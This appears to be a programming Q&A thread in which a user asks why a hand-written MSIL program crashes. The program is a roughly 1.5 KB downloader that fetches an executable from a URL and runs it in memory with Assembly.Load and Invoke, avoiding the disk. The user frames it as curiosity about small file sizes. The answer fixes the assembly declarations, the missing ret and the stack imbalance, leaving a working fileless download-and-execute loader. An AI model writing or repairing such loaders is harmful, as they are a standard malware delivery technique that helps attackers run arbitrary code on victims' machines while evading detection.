IL - What am I doing wrong?

785 Views Asked by At

So I'm a fairly intermediate programmer in C#, and recently I have just been obsessed with file sizes and creating the smallest files available. For that I realized that using MSIL for simpler programs can reduce the size by alot.

So I tried converting the following

  • Create a simple downloader. Managed to do it easily. Downloads my Files and saving them in temp and runs them. Managed to get it working and 1,5kb size, very useful!

now, after doing that I thought... why write the files when I could simply use reflection and run them withing having to use the disk?

That's where the problem came to be and I can't find the solution.

What is wrong with this code?

.assembly a{}
.subsystem 0x0002 
.class private AA1.B 
extends [mscorlib]System.Object{ 
.method private static void a(){
.entrypoint 
.maxstack 4 
.locals init (
[0] string str,
[1] uint8[] buffer)
nop
newobj instance void [System]System.Net.WebClient::.ctor() 
ldstr  "http://www.mywebwiste.com/myDotNetFile.exe"
call instance uint8[] [System]System.Net.WebClient::DownloadData(string)
stloc.1
ldloc.1
call class [mscorlib]System.Reflection.Assembly     [mscorlib]System.Reflection.Assembly::Load(uint8[])
callvirt instance class [mscorlib]System.Reflection.MethodInfo [mscorlib]System.Reflection.Assembly::get_EntryPoint()
ldnull
ldc.i4.0
newarr object
callvirt instance object [mscorlib]System.Reflection.MethodBase::Invoke(object, object[])
}}

The Error I get compiling is "Reference to undeclared extern Assembly System." and "Reference to undeclared extern assembly mscorlib". Am I not declaring them?? It still compiles them but on run it just crashes.

1

There are 1 best solutions below

0
On

The Error I get compiling is "Reference to undeclared extern Assembly System." and "Reference to undeclared extern assembly mscorlib".

Those are not errors, but warnings, the full message of the warning I get is:

warning : Reference to undeclared extern assembly 'mscorlib'. Attempting autodetect

To get rid of the warnings, you need to declare the assemblies:

.assembly extern mscorlib
{
    .ver 4:0:0:0
    .publickeytoken = (B7 7A 5C 56 19 34 E0 89)
}
.assembly extern System
{
    .ver 4:0:0:0
    .publickeytoken = (B7 7A 5C 56 19 34 E0 89)
}

But this is not your actual problem. If I run the compiled assembly, it indeed crashes. And using Visual Studio Just-In-Time Debugger, you'll find that the exception is:

System.InvalidProgramException: Common Language Runtime detected an invalid program.

This most likely means that your IL is wrong and that you should run PEVerify on it. If you do that, you get this error:

Error: [AA1.B::a][offset 0x00000023] fall through end of the method without returning

This means you need to add ret at the end of your method. If you fix that, you get:

Error: [AA1.B::a][offset 0x00000028] Stack must be empty on return from a void function.

This means that you need to pop the object that's returned from MethodBase::Invoke.

If you fix that, you don't get any more PEVerify errors and your code should probably work.